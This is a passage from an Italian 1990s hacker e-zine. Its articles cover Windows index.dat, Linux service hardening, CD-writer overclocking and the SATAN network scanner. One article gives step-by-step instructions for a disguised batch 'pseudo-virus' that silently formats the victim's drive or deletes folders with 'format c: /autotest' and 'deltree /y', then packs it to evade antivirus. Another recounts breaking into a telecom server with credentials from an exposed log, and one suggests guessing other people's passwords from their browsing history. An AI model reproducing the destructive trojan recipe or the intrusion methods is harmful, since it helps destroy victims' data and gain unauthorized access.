cosi' selezionate dalla 1a dir all'ultimo file e cancellate tutto il cancellabile e tutto cio' che non e' ne vitale ne minimamente importante (x non parlare dei cookies poi...). Ad un esame + attento del file index.dat aperto con l'editor di dos (con wordpad non si apre xche' dice che il file e' in uso e quindi bisogna ricorrere al buon vecchio edit con il quale faccio anke la e-zine tra l'altro...) sono riuscito a dedurre che all'interno vi sono registrati tutti gli url da noi visitati ultimamente (ci voleva tanto...) e vi e' un vero e proprio index (indice x quelli che con l'inglese ci fanno a pugni) e oltre agli url (utili se si vuole conoscere gli interessi di una persona...x poi provare a bucare le sue pass con le liste di password adatte (musica, macchine, fantasy, rpg etc). Ricordate che nulla e' inutile se preso da un altro pc (non aggiungo "non nostro" xche' spero ci siate arrivati...eheheheh). Da un okkiata ankora + a fondo, e premesso che non so crackare e so programmare mooooolto poco, ho visto che il file INDEX.DAT si divide in 2 parti la prima, che occupa la prima parte del file, contiene tutta una serie di url che o abbiamo visitato o se li e' inventati il vs uindos (eheheh), mentre nella seconda parte si vedono, sempre tra simboletti di cui non capisco una k, degli schemetti x ogni file contenuto nella dir principale o in una delle 4 sottodir nascoste dal ns amico Bill. Lo schema si presenta a questo modo (lo riporto x intero e poi ne "analizzo" le voci: http://members.xoom.com/miosito/immagine.gif immagine.gif HTTP/1.1 200 OK ETag: "28a0a1-37f-3684d70d" Content-Length: 895 Keep-Alive: timeout=15 Content-Type: image/gif http://members.xoom.com/miosito/immagine.gif --> (occorre spiegarlo? vabbe....e' l'url...) immagine.gif HTTP/1.1 200 OK --> (qui viene riportato il nome dell'immagine e la versione dell'HTTP) ETag: "28a0a1-37f-3684d70d" --> (questo probabilmente e' un codice che ie assegna a tutti i file scaricati) Content-Length: 895 --> (lunghezza del file) Keep-Alive: timeout=15 --> (non so...potrebbe essere il tempo che ci ha messo ie a raggiungerlo o a --> salvarlo nella cache non so...) Content-Type: image/gif --> (questo e' il tipo di file che troviamo anke andando in gestione risorse, --> visualizza, opzioni cartella, tipo file e dopo cercate RealMedia File o cmq --> qualke altro tipo di file che abbia visualizzato qualcosa sotto, mentre si --> scorre la lista dei tipi di file, nel campo "Contenuto (MIME):". Se --> andiamo a vedere come vengono "schedati" nell'index.dat i file htm o html --> vedremmo che in questo campo e' riportato "text/html") Adesso che sapete di + sul vostro index.dat mi direte...e che ce frega a noi de sape sta roba....e io vi rispondero'...e che ne so io scrivo solo...hihihihi. *************** Byez * _-_ * da me che sono * /___\ /^\ * N0bodY88 * |*_*| | * e ricordate che * \ / | * "Conoscenza e' potere" * >---|---<| * e non dimenticate che * | | * "Un gg in cui non hai imparato * _/ \_ [|] * nulla e' un gg perso" *************** ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SICUREZZA E LINUX +++++++++++++++++++++++++++++++++++++++++++++++ by [mAx] +++ Introduzione ---------------- L'argomento che ho intenzione di trattare (Linux) ha una caratteristica che mi sembra giusto ricordare. Ha la piu' vasta e IMHO migliore documentazione che sia mai stata scritta per un programma e/o SO (Sistema Operativo). Non preoccupatevi non ho intenzione di concludere adesso e dirvi "andate e leggetevi i manuali" pero' credo che la cosa migliore che posso fare sia quella di illustrarvi quali sono gli argomenti per cui sarebbe meglio (ai fini della nostra sicurezza) documentarsi un po'. Sono certo al 100% che se cercassi di spiegare qualcosa io non riuscirei a rendere nemmeno un decimo di un HOWTO o una man page. Scrivo questo pezzetto perche' anche io appena ho installato Linux mi son trovato con "qualche" domanda e spero cosi' di poter rispondere ad alcune delle vostre. Allora com'e' andata l'installazione? Tutto a posto e ora..... Proviamo a vedere se il pinguino ci puo' far volare sopra ai navigatori che hanno scelto il male (B.G.). Allora visto che il KDE ormai ce l'avete tutti e a volte l'utility per la connessione funziona :-) non mi dilungo e passo a quello che dovrebbe essere l'argomento principale di questa manciata di byte. Per cominciare si puo' provare a fare un bel netstat. || netstat || Penso che voi tutti possiate immaginare lo scopo di questo tool. Digitate al prompt della shell netstat -a e scoprirete tutte le porte che avete in ascolto. A noi interessano le linee sotto alla dicitura "Active Internet connections". In questo modo, come nel netstat di Win, vediamo le connessioni attive e le porte in ascolto (LISTENING). Se volete avere le stesse informazioni ma vi interessa sapere l'ip e il numero di porta allora bisogna aggiungere l'opzione -n. Senza questa opzione netstat cerca di risolvere gli ip e mette la dicitura che trova nel file /etc/services al posto del numero della porta. Se avete fatto come me (e credo come molti) e avete installato Apache, FTP server, sendmail e altra roba allora ne vedrete un bel po'. Personalmente ritengo utile installare diversi servizi sulla propria linux-box per diventare abili nello sfruttarne i bug (pero' e' meglio disattivarli quando non servono +). || inetd || In poche parole questo demone gestisce tutte (o quasi) le porte in ascolto sul vostro pc al posto dei singoli servizi. Quando da un client giunge una richiesta al nostro server, inetd che ascolta la richiesta richiama il servizio in questione. Le porte sulle quali questo demone deve mettersi in ascolto sono specificate nel file /etc/inetd.conf, il suo file di configurazione insieme ad altri parametri come il tipo di protocollo e il server da richiamare. Questo file ci permette di scegliere quali porte vogliamo tenere aperte e quali no (solo per i servizi gestiti da inetd). Se apportate delle modifiche a questo file per renderle effettive basta lanciare un "kill -HUP pid" dove pid e' il numero del processo inetd (le virgolette non ci vogliono). Analizziamo ora come e' fatto il nostro file di configurazione. Le porte non sono riportate in forma numerica ma con il nome del servizio e per conoscerne l'equivalente numerico (es ftp --> 21 ) basta consultare il file /etc/services. Alcuni servizi vengono gestiti direttamente da inetd e al posto del nome del server troviamo la parola riservata internal. Personalmente credo che ci siano molti servizi che vengono abilitati durante il setup e l'installazione che non sono di nessuna utilita' e quindi tenere aperte alcune porte come echo, netstat, finger, time, discard, chargen e' inutile se non rishiso. Per non avviare piu' un servizio basta commentare con il carattere '#' l'inizio della linea nella quale viene dichiarato. Uno dei parametri che vengono specificati per ogni servizio e' l'utente con il quale il relativo server viene avviato. Per motivi di sicurezza e' meglio avviare come utente root soltanto un servizio che ne ha veramente bisogno. || tcpd || Poco sopra ho scritto che inetd richiama, quando gli viene richiesto, un server per ogni servizio. Quanto ho detto e' in parte falso in quanto molti servizi non vengono richiamati direttamente da inetd ma la richiesta passa per il tcpd. Questo secondo demone si occupa di fare qualche controllo sul client che richiede il servizio in questione migliorando la sicurezza di inetd che praticamente e' nulla. Il tcpd controlla l'indirizzo dal quale proviene la richiesta del servizio e decide se accettare o meno in base alle istruzioni contenute in due files : /etc/hosts.allow e /etc/hosts.deny Ogni richiesta comunque viene segnalata al syslogd e quindi loggata. Le istruzioni che si possono specificare nei due file di configurazione sono di vitale importanza e quindi e' meglio che le andate a vedere sulla man page che vi spiegera' ogni trucco per settare al meglio il tcpd : man hosts_access A grandi linee nei due file si specificano i servizi che si possono o non si possono (dipende se stiamo guardando hosts.allow o hosts.deny) avviare da un certo host. Se volete un consiglio (e forse questo e' il motivo per cui state leggendo ;) ) mettete nel file hosts.deny un riga come questa : ALL : ALL che nega l'accesso a tutti i servizi da tutti gli hosts a meno che non siano eplicitamente citati in hosts.allow. || ftpd || Nel numero precedente di Newbies un articolo di T0rment0 spiega come gestire un server ftp anonimo. Puo' succedere che il server che il programma di installazione di linux ci ha cortesemente montato non sia di nostro gradimento; in questo caso basta commentare una riga nel file di configurazione di inetd. Nel caso in cui noi invece volessimo sfruttare il server allora bisogna fare attenzone ai problemi di sicurezza che nascono. Accedendo come un utente del nostro pc si hanno a disposizione tutte le directory del nostro disco, non viene cioe' eseguito il chroot [ almeno questo accade con le opzioni di default ] e cio' consente a chi e' in possesso di un login con relativa password di spassarsela sul nostro pc. Un modo per evitare questo e' specificare quali utenti devono essere soggetti al chroot nel file /etc/ftpchroot. Comunque la man page dell'ftp demon e' abbastanza chiara per quanto concerne la sicurezza di un ftp-server quindi man ftpd e in ogni caso non lasciate dei dati importanti nelle directory che possono essere lette anche in caso di login anonimo. || httpd (Apache) || Questo e' il primo caso di server standalone che vediamo. Standalone significa che il demone httpd e' indipendente da inetd e che e' lui in prima persona a rimanere in ascolto sulla sua porta (80) in attesa di connessioni. Quando installate Apache vi ritrovate con 3 file da configurare; la directory in cui si trovano puo' variare, io ad esempio ce li ho in /ver/lib/httpd/conf : access.conf, httpd.con e srm.conf. Configurando per bene questi file si riesce a far capire al nostro server in quali directory puo' scorrazzare e in quali no. Comunque la cosa piu' importante e' sbarazzarsi dei cgi di prova che il server ha messo in cgi-bin in quanto potrebbero essere fonte di guai. Se il server http non lo volete allora bisogna andare a cercare il file che lo esegue per commentare la linea in cui viene eseguito. Generalmete questo file si trova in /etc/rc.d o una sua sottodirectory. || rpc e portmapper || Dovendolo spiegare brevemente posso dire che le rpc (Remote Procedure Call) sono un insieme di applicazioni remote. Senza entrare nei dettagli vi dico che per poter funzionare hanno bisogno del portmapper che e' un demone che informa il client dandogli il numero della porta sulla quale potra' trovare il servizio richiesto. Questo perche' i servizi rpc non hanno un numero di porta riservato. Il portmapper e' un altro esempio di servizio autonomo (standalone) cioe' che non viene lanciato da inetd ma sta in ascolto sulla sua porta (111) aspettando richieste. Adesso non ho intenzione di approfondire questo argomento soprattutto perche' non ha alcun interesse per chi non ha una rete locale e quindi e' meglio disabilitare il portmapper che puo' essere un'altra fonte inopportuna di informazioni riguardanti il nostro computer. Per farlo dovete andare nella directory in cui ci sono i file di configurazione letti all'avvio della macchina. Questa e' una di quelle cose che varia da una distribuzione all'altra; generalmente sono sotto /etc/rc.d. Spero comunque che voi sappiate dove sono i vostri. ;) Una volta trovato il file giusto cancellate o commentate (meglio) la riga in cui vengono avviati il demone rpcd e il portmapper. The End ---------------- Non mi stanchero' mai di dirlo. Questo articoletto deve essere visto come una lista della spesa (che orribile paragone) .... un elenco di cose sulle quali documentarvi; non potete accontentarvi del poco che c'e' scritto qui. Leggete le man pages di tutti i comandi e demoni che ho citato, leggetevi gli Appunti Linux di Daniele Giacomini, leggetevi gli HOWTO e le guide. Per tutte queste cose il sito e' uno solo..... PLUTO ( http://www.pluto.linux.it/ ). Tutta la documentazione e' nelle pagine dell'ILDP (ovviamente in italiano). Questo e' quanto. Il [mAx] vi saluta tutti (belli e brutti). Un saluto particolare a tutti quelli che ho incontrato al Futurshow e a quelli che ci sarebbero voluti venire ;-) Per i complimenti, bonifici bancari o donazioni : d8@freemail.it Per insulti vari : /dev/null ;-) ͻ Ŀ UNA STORIA SULLA TELEKOZZ ٺ ͼ ------------------------------------------------------------------------ :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ------------------------------------------------------------------------ LO SAPEVATE CHE TRAMITE UNA HOME PAGE SI PUO' ENTRARE DIRETTAMENTE DENTRO IL DATABASE E SERVER DELLA NOSTRA MAMMA DI CUI LA MAGGIOR PARTE DEGLI ITALIANI NE E' COLLEGATA TRAMITE CAVO TELEF...SCUSATE OMBELLICALE ? Forse lo sapete gia' , ma non mi importa visto che non lo sapevo io e che forse puo' interessare a qualcuno . Una piccola storia da me' vissuta , senza basi tecniche da poter sviluppare sui diversi sistemi , ma con degli indizzi . Bene iniziamo....... " Erano all'incirca le 23:00 , in compagnia di amici mentre si parlava di tecniche riguardanti l'hacking e il phreaking , tutto accompagnato da una scorpacciata di curiosita' nella rete di internet . Navigando qua' e la' siamo arrivati alla parola Mamma . Spero mi abbiate capito riguardo la parola Mamma , per chi non lo avesse capito si prenda tra le mani l'elenco telefonico. Bene a chi mai venuto in mente di entrare nel server della "mamma" ? ......credo un po' a chiunque , molti ci hanno solo pensato e non hanno mai voluto provare , alcuni credo ci abbiano provato, molti e la maggior parte (avendone sentite molte) hanno detto una marea di cazzate . Comunque giravamo sempre in internet con la mente rivolta sempre su di essa, ......girando sempre nei suoi paraggi sono riuscito a trovare un sito che apparteneva ad un tizio e quando sono entrato mi ha dato l'errore : Your IP address (xxx.xxx.xxx.xxx) is not authorized to access . Cosa c'era in quel sito per darmi un errore cos ? .......... La curiosita' si faceva sempre piu' forte .Il tipo non ho ancora capito cosa rappresenta all'interno della mamma .........un sysop , un ragioniere , un venditore..........bho', la cosa che ho notato e che ha diversi siti e tutti si collegano tra di loro . Voi direte che cosa c'entra questo tipo con il server della mamma ?....a questo non so' darvi una risposta adeguata , ma so' solo che tramite questo tipo sono arrivato ad un file di log appartenente ad essa.......andiamo con calma. Cercando informazioni e provando infinite volte sono riuscito ad entrare... (non vi dico tutto quello che ho fatto per recuperarmi un IP giusto , quindi se mi dovreste incontrare nei canali irc non chiedetemelo )iniziavo a rilassarmi , avevo superato l'errore "......is not authorized to access ." che bello!!!! La pagina e' bianca con delle scritte nere ,ci sono documenti tecnici , numeri di telefono e fax , nome e cognome del tipo e due caselle con delle scritte dove ci potevi clickare sopra . Clicko sulla prima e cosa appare? Un bella scatoletta grigia con " inserire login e password " . Provo un login e pass a caso (come faccio di solito per vedere se la fortuna mi sta' accanto qualche volta ) , ma con tutta la sfiga che ho ......... immaginatevi cosa e' accaduto..." Error..........." Ihihihih...sempre cos . Va bene lo stesso . Prima di fare qualcos'altro clicko nella seconda casella alla ricerca di altre info ( volevo capire di cosa si trattava). Appare un'altra pagina con altre informazione e una casellina piccola piccola verso il basso , mi leggo tutte le info e clicko sulla casellina.........e cosa appare ? TARATTATA..... il grande file di log. C'era di tutto , ho visto delle pass , dei login , "il mio ip"(ihihihih) di quando avevo provato la prima volta . xx/xx/1999 02:26:31 [NULL] xxx.xxx.xxx.xxx xxxxxxxx.xxx.it CGI/1.1 [NULL] xxxx/4.0 (compatible; MSIE 4.01; xxxxx) http://xxxxx.xx.xx/xxxx/ [NULL] l'idea di mettere le " x " stato di body (il mio cane ), ha detto che non si fidava! Vado subito a provare le pass e i login che avevo trovato (speravo sempre nella fortuna )..... finalmente la fortuna mi assiste.......evoila' la pass funge , per la cronaca login uguale alla pass , tipico sbaglio italiano. Appare un'altra pagina con poche scritte e due caselle . Una con su scritto : -Database- Entro e mi illumino quando vedo la scritta "Server Mamma italia net " e "Sever Database Mamma italia net " . Qualsiasi strada prendessi oramai avevo le porte aperte . Tramite il web sono riuscito ad entrare dentro il server e tutto quello che mi e' servito e' stato solo un IP e un file di log trovato con un po' di fortuna , sicuramente esistono altri modi per farlo anzi e' sicuro , con diversi metodi , diverse tecniche ma quello che vi voglio far capire ................... stata tutta una questione di CULO!!!! Volete l'indirizzo ??...........ehehe vi do' un aiuto a cercarvelo , l'indirizzo da cui sono arrivato io inizia con tel........ ci si puo' arrivare da diversi siti che non c'entrano un cazzo con la mamma ma c'entrano con il tizio e ripeto non capisco ancora il perche'........ tipo geocities e tripod ....... L'ultima cosa . quando giravo dentro i siti che mi negavano l'accesso ho tenuto sempre l' IP magico......ehehe _____________ ||-----------|| || || || ******** || ||___________|| ||___________|| StuZzik0 & |bLeaH| ------------------------------------------------------------------------ :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ------------------------------------------------------------------------ ͻ Ŀ AMMINISTRAZIONE AVANZATA DI UN SISTEMA UNIX ٺ ͼ by tetofuck Vi chiederet perch un grande come me si sia ridotto a scrivere per una zine di newbiez ... beh innanzitutto dai vecchi volumi americani che non scrivo, e non ho mai scritto per una zine italiana , inoltre bisogna ricordare che newbiez non un termine dispreggiativo e non bisogna associarlo , come invece fanno in molti , a lamer ... Tutti noi hackers siamo stati newbiez . Today vedremo qualke punto dell'amministrazione generale avanzata di un sistema unix : un po' facilitata apposta per voi eheheh Aspettate un secondo che faccio partire la conversione degli mp3 a waves a cd ... ECCO : posso inizare . Innanzitutto un saluto a RafCrash , MAN5ON , Mene e Supercaz , miei compaesani . Oggi analizzeremo vari punti quali determinazione dell'utilizzo della CPU , top compreso , le dimensioni opportune dello swap e la modifica delle propriet dei processi . /*-/*-/-*/-*/-* DETERMINAZIONE DELL'UTILIZZO DELLA CPU *-/*-/*-/*-/*-/*-/ Ecco la sintassi principale del comando che fornisce diversi dati sul l'utilizzo corrente della CPU : $ vmstat intervallo [conteggio] intervallo il numero di secondi tra i report e conteggio il numero totale dei report da fornire . Per determinare il grado dell'utilizzo della CPU sar necessario analizzare le ultime tre righe dell'output di vmstat ovvero us , sy e id che rispettivamen te indicano la perc. dei cilci CPU per eseguire i task dell'utente , quelli per eseguire i task del sistema e quelli non utilizzati ovvero il tempo di inattivit del sistema . ( cazzo dovr anche riposarsi eh ! ) Non allarmatevi se vedete le perc. alte , se per persistono per lungo tempo ...beh allora iniziate a preoccuparvi . Provate magari a vedere se un problema di memoria guardando attentamente le colonne memory e swap. Un altro metodo per l'identificazione dei problemi TOP anzi top ( se sapete il perch siete davvero newbiez se no siete stupidi lamerz-la risposta al termine dell'articolo ) Tale comando mi piace molto in quanto mi permette di controllare la CPU in tempo normale - eh cara CPU ora non mi sfuggi troietta ! Aspe che mi faccio una canna ... Ok continuiamo , per vedere i significati dei vari campi fate man top ...ormai dovreste saperlo . /-*/-*/*-/*-/-*/-*/*-/-*/DIMENSIONI OPPORTUNE DELLO SWAP*-/-*/*-/-*/-*/-*/*-/-*/ a cura di RafCrash tetofuck mi ha kiesto di fargli questa sotto-sezione e io ho accettato , spero non vi rompa ( anzi non me ne frega un cazzo ;D ) su IRC un sacco di gente mi kiede sempre quanto deve mettere come area SWAP ? Alcuni dicono siano necessari il doppio di megabyte di quanta ram si ha , ma io replico : cazzo io ke ho 260 mega di RAM devo avere la partizione SWAP di mezzo giga ? ma vaffanculo ! Beh se avete 16 mega circa di RAM 30/32 mega vanno bene se no dovete vedere le vostre esigenze , la velocit della cpu e quante applicazioni volete eseguire contemporaneamente. In alcuni casi quindi non addirittura necessaria la partizione ... per voi aspiranti hackers cmq ve la consiglio vivamente . Byez all /*-/*-/*-/-*/-*/-*/*-/MODIFICA DELLE PRIORITA' DEI PROCESSI/*-/*-/*-/-*/-*/-*/ Dopo la breve parentesi di Raf , torno io. Se i processi fanno le bizze la soluzione consiste nell'alterare la priorit dei processi col comando renice. Digitando il comando ps -l viene visualizzato il valore di nice dopodich lo modificherete usando il comando renice . Non serve che vi dica che collegamenti pu avere con l'hacking , vero ? Un saluto a tutti by tetofuck ( the best ) ͻ Ŀ COME OVERCLOCKARE IL NS. AMATO MASTERIZZATORE ٺ ͼ Il nostro masterizzatore e' un Traxdata CDRW-2260 PRO (scsi) 2x2x6. Aprendolo abbiamo verificato che e' uno Yamaha 2260 (Rev.C ) di Marzo '98. Sigla sulla scheda: Yamaha Rev.C XT-948. Bisogna cercare la resistenza R621.....e' una parola!!!!! avete visto quante ce ne sono li sopra.... Allora intanto...... Io ho operato nella maniera seguente: Ho svitato prima le 4 viti nere-marroni che fissano lo chassis sulla scheda che vi e' dentro, poi ho svitato le altre 2 vitarelle di acciao che tengono insieme lo chassis. Ho scoperchiato e mi sono trovato davanti ad una scheda verde piena di chips e di resistenze microscopiche. Ho verificato la scritta riportata sulla scheda: "YAMAHA" e in un quadratino la C (la Rev. C). Allora ho capito che era veramente uno Yamaha 2260. E' inutile cercare la resistenza R621 qui', essa si trova dall'altra parte della scheda. Bisogna svitare un'altra vite nero-marrone (piu' corta delle precedenti) posta esattamente al centro della scheda. E qui' viene la parte piu' difficile... bisogna levare la scheda per girarla. Ecco come procedere per evitare casini (io l'ho smontato almeno 10 volte prima di trovare l'ordine ideale delle operazioni). Intanto facciamo ruotare il masterizzatore in modo tale che gli attacchi dell'alimentazione dello scsi ecc. si trovino in basso (ovvero a "SUD", cioe' vicino a noi). L'ordine e' : 1-Staccare il connettore BLU dell'alimentazione del motorino del masterizzatore (ha 2 fili uno nero e uno rosso), levare il nastro adesivo NERO che vi e' sopra, questo si trova nella parte del frontalino le masterizzatore . 2- Piu' in basso verso il centro c'e' un attacco bianco sporco al quale e' collegato un cavo piatto largo 1 cm, staccarlo. 3- In basso a destra c'e' un'altro attacco bianco al quale sono collegati dei fili BIANCHI e uno marrone tenuti da un nastrino adesivo sulla scheda. Alzare il nastrino per liberare i cavetti. Sotto al nastrino noterete la scritta Yamaha XT-948.NON e' necessario staccare questo attacco (anche perche' e' durissimo e si rischia di romperlo). 4- Questa e' una fase delicata, alzare lentamente la scheda (dalla parte dell'attacco SCSI) tirandola verso di voi e verso sinistra, insomma facendola ruotare intorno all'angolo alto sinistro della scheda (quello dove c'e' l'attacco delle cuffiette). Noterete che sotto la scheda c'e' un altro cavo piatto sganciatelo dall'attacco agendo dalla parte sinistra (e' difficile lo so' ma ci si riesce con un po' di pazienza). Noterete anche che in alto a sinistra c'e' un'appendice metallica che "va giu", essa e' semplicemente accostata al telaio e non e' collegata a niente. Quindi ora mentre con la mano destra tentate di tirare verso di voi la scheda alzandola, con il pollice sinistro agite sul centro-sinistra del bordo del frontalino e fate scavallare la scheda ... inistete un pochino e VOILA' tolta la scheda. 5- Fatela girare (come se sfogliaste una pagina di libro). Troverete di nuovo la scritta Yamaha XT-948. La Resistenza R621 si trova sul lato sinistro in basso a 4 cm dal bordo basso della scheda. Accanto c'e' scritto Q/D (doppia o quadrupla probabilmente). Fate togliere la resistenza da qualcuno che ha un saldatore ad aria calda. E in meno di 5 minuti avrete un 4260PRO. 6- Richiudete tutto seguendo la procedura all'incontrario, facendo molta attenzione a RIPOSIZIONARE I DUE INTERRUTTORI( posti in alto al centro-destra della scheda girata) (Sono quelli che hanno le 2 "mollette" attaccate) TRA IL PERNO DI PLASTICA CHE SPORGE DAL MASTERIZZATORE (i 2 interruttori controllano l'apretura e la chiusura del carrello del masterizzatore) (spostando il perno verso destra e spingendo un pochino seza fare forza come dei bruti vedrete che il carrello si aprira', e' proprio con il CARRELLO APERTO che conviene riposizionare la scheda) . Prima di riavvitare la vite centrale mettete in posizione verticale il masterizzatore (prima con il frontalino in giu' poi in su') ASCOLTATE la corsa, e verificate che il cavo piatto che si trova sotto abbia la possibilita' di SCORRERE! Richiudete tutto e il gioco e' fatto!!! La scheda SCSI vi riconoscera' un TRAXDATA 4260PRO e in WIN ON CD vi sara' abilitata la voce 4x, chiedete pure le informazioni sul masterizzatore vi dira' che e' un Traxdata 4x. QUESTA E' STATA LA MIA ESPERIENZA, FATTA CON UN TRAXDATA 2260PRO (NON il PLUS che quello e' un PHILIPS). CONSIGLI ATTENZIONE sulla Rev.C, FUNZIONA con firmware 1f o piu' vecchi. CHE SIA CHIARO : NON MI ASSUMO NESSUNA RESPONSABILITA' Buon diverimento... ciaoz a tuttiz by brusto! X CHI MI VOLESSE CONTATTARE QUERY ME SU IRC O ICQ... ͻ Ŀ TRUCCHI SU DOS ٺ ͼ Siete uno di quei tipi che la prima volta che ha fatto un file .bat ci ha scritto dentro: format c: e l'ha dato al migliore amico dicendo che era sextetris? E che magari quando l'amico ha scoperto tutto gli avete detto che il dischetto era infettato? Se si allora DOVETE leggere questo articolo nel quale imparerete a formattare il disco duro di chiunque in solo 814 byte!!! ;))) Dovete sapere che una volta che fate un file .bat con dentro la parola format e poi lo eseguite vi verra' richiesta la conferma, per evitare cio' la Microsoft ha inserito nel file "format.com" un piccolo comando non documentato cioe' "/autotest", infatti se scrivete un file batch con dentro "format /autotest" l'hdd della vittima verra' formattato senza chiedere conferma, ma realizziamo uno di questi pseudo-virus. Create un file .txt e chiamatelo ad esempio Gargamella.txt, apritelo e scriveteci dentro: format c: /autotest salvatelo e rinominatelo come .bat, NON lo avviate!!! Ora voi vorreste dare il file a qualcuno, ma il nostro Pseudo-virus ha un bug, se togliete "/autotest" e lo avviate vedrete che viene scritto sul monitor "format c:", per evitare cio' riscrivete il file come vi dico: @format c: /autotest la @ nascondera' l'echo a schermo del comando, in parole povere non si vedra' niente di niente. L'unico problema e' che se il tipo ha un minimo di conoscenza in campo informatico, andra' sicuramente ad esaminare il file senza eseguirlo. Per evitare che cio' accada procurati sul sito di un certo Quequero (http://quequero.cjb.net) l'utility "bat2com", un programmillo di pochi byte che serve a convertire un file .bat in uno .com. Se avete scaricato il file copiatelo in c:\windows\command andate al prompt del dos e scrivete: bat2com Gargamella.bat e lui vi convertira' il file, ma manca solo un ritocco, se voi guardate il file, vedrete che e' piccolissimo, solo 814 byte, per farlo diventare + grosso andate sempre al caro promp di dos e scrivete: DEBUG FILEVUOTO <-- noi File non trovato -f 100,F000,0 <-- noi ;cosi' scrive un file pieno di -rcx <-- noi ;zeri :0000 EA50 <-- noi -w <-- noi Scrittura di EA50 bytes in corso... -q <-- noi in questo modo creerete un file completamente vuoto e pieno di zeri da attaccare al vostro file Gargamella.com in questo modo: c:\>copy /b gargamella.bat+command.com addio.com questo procedimento noto ai piu' a me non funziona assolutamente, non so perche' ma per farlo andare ho dovuto riempire il file .bat con decine e decine di righe di questo genere: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx e' anche vero che con copia e incolla ci sono voluti 15 secondi, pero' il dubbio resta. Poniamo il caso che siamo riusciti a ingrandire il file, ora dobbiamo comprimerlo affinche' gli antivirus non ne possano rilevare la presenza, per far cio' dovremo usare Pklite o Petite (sempre sul mio sito) e comprimere l'eseguibile (che cazzo ne so, neanche questo mi funziona, sara' che io e winzoz siamo molto incompatibili e quindi lui lo fa per vendetta), la sintassi e' questa: pklite gargamella.com Vi ho elencato questi modi perche' si usa fare cosi', comunque se vi arrivasse un file .com che vi ho spedito state pur certi che non e' un virus dal momento che quello stronzo di winzoz mi vieta di fare le cosa che non gli vanno. Un grande FUCK alla Microsoft Altro metodo per fare degli pseudo-virus, nel caso che non vi andasse di formattare il disco duro della vittima, e' quello di usare "deltree /y", le procedure di creazione sono le stesse: @deltree /y c:\documenti questi comandi cancellano dal disco la cartella documenti senza chiederne la conferma, potete anche cancellare winzoz o insomma quello che vi pare, giocate solo di fantasia, poi se vi funzionano i metodi "standard" di cui sopra bhe'..beati voi!!! Ciauzzzzzzzz Quequero e-mail: blackfireshell@hotmail.com sito: http://quequero.cjb.net ͻ Ŀ S.A.T.A.N. ٺ ͼ OK dopo molti tentativi sono riuscito a scrivere un articolo sul S.A.T.A.N. e spero che lo troviate interessante, VI RICORDO CHE MOLTE DELLE INFORMAZIONI CHE AVETE APPENA LETTO SONO STATE TROVATE IN GIRO PER LA RETE SUI LIBRI, NELLE FAQ MA ANCHE BASATE SU ESPERIENZE PERSONALI, QUESTE INF. RACCOLTE SONO POI STATE RIELABORATE PER RENDERLE PIU' COMPRENSIBILI E ALLO STESSO TEMPO PIU' INTERESSANTI. Cominciamo...Molti potrebbero pensare che il SATAN (visto la fama costruitasi in rete) sia un super programma che basta lanciarlo e ti da l'accesso a qualsiasi sistema informatico dal piu' marcio e baggato al sistema informatico della CIA. Ma in realta' cos'e' il SATAN ..???? S.A.T.A.N. acronimo di Security Administrator Tool for Analyzer Networks, non e' altro che un tool per l'analisi dei sistemi di siqurezza delle reti, venne ideato e scritto Dan Farmer e Wietse Venema con lo scopo di ricercare le falle presenti nei sistemi informatici. Fece la sua prima comparsa il 5 Aprile del 1995 con l'intendo di interrogare milioni di Sistemi spersi per internet nel tentetivo di provare le debolezze che rendevano i sistemi vulnerabili. Il S.A.T.A.N. e' un tool per Unix o quasi (volevate che lo facessero per Win95) per poter utilizzare satan occorre avere accesso da root ad una piattaforma supportata da unix, aver installato il perl 5.0 o successivo, un browser web, 32mega di ram, e 5 mega liberi di spazio su hd (li avrete spero ;)). Sfortunatamente SATAN non e' compatibile con tutte le macchine UNIX come invece avremmo voluto che fosse . 1. Sistemi Operativi. Questa versione di SATAN lavora con i seguenti Sistemi Operativi (OS): - SunOS 4.1.3_UI - SunOS 5.3 - Irix 5.3 2. Piattaforme Hardware. Satan e' stato provato con le seguenti macchine: - SPARCstation 4/75 - SPARCstation 5 - Indigo 2 Comunque questo programma sarebbe eseguito anche su altre macchine: provando a digitare "make" nella directory principale del TOOL, si ottiene una lista di quelle che si auspicano compatibili (attualmente sono: AIX, BSD, IRIX5, HP-UX 9.x, SunOS 4 & 5, SYSV-R4, Ultrix 4.x,). E' importante rilevare (Inf. giuntami ma non ho provato) che l'utente puo' avere a disposizione il "tcpd wrappers" o altri meccanismi che eseguono il comando "reverse finger", tali caratteristiche devono essere tolte prima di utilizzare il SATAN! C'e' una ragionevole possibilita' che qualche host esterno presente in rete abbia la stessa caratteristica attiva: se tale host viene interessato irettamente o secondariamente da delle esplorazioni si potrebbe entrare in una "finger war" o in infiniti loop di "finger" che vanno avanti e indietro tra te e i tuoi obiettivi. Naturalmente accertati di ripristinare le condizioni iniziali una volta che si e' finito di collezionare i dati con il SATAN. File del SATAN: SATAN crea e usa pochi file, mentre un utente puo' "dialogare" solo con il file di configurazione. Vediamo quali sono i file che il SATAN utilizza (leggendoli o creandoli) durante la sua esecuzione: 1. bin/* - Questi sono programmi da cui SATAN dipende per l'acquisizione dei dati. 2. config/* - File di configurazione di cui ha bisogno il SATAN per trovare gli altri programmi utili all'esplorazione e per impostare le variabili con dei valori "base" ("default"). 3. html/* - File che comprendono pagine HTML e programmi Perl che generano le pagine per l'interfaccia utente. 4. perl/* - Codice utilizzato dal SATAN o dai "tool" di acquisizione dati. 5. result/database-name. - "Satan database". Ogni "database" e' composto di tre parti: 5.1. all-hosts. - Questa e' una lista di tutti gli hosts che il SATAN ha trovato durante la sua esplorazione, inclusi anche quelli che non ha mai "toccato". 5.2. facts. - Questa e' una lista di tutte le uscite emesse dai vari comandi " *.satan tools". Queste registrazioni sono cio' che viene processato dal SATAN per generare le relazioni documentative. 5,3. todo. - Questa lista elenca tutti gli hosts e le incursioni che ha veramente eseguito contro tali hosts. Con questa tabella SATAN conosce quali incursioni puo' saltare e passare ad una successiva esplorazione. 6. rules/*. - Le regole che il SATAN usa per valutare la situazione e ricavare i risultati dalle informazioni esistenti. L'estrema flessibilita' (data dall'interpretazione del codice "perl") e' una delle caratteristiche piu' potenti del SATAN. 7. src/*. - Codice sorgente di alcuni programmi di supporto al SATAN. Metodologia di lavoro utilizzata dal Satan Il Satan richiede l'acquisizione dell'obiettivo ("target") in modo da determinare immediatamente con il comando "fping" se l'host o gli host della sottorete da valutare sono vivi ("alive": cioe' e' 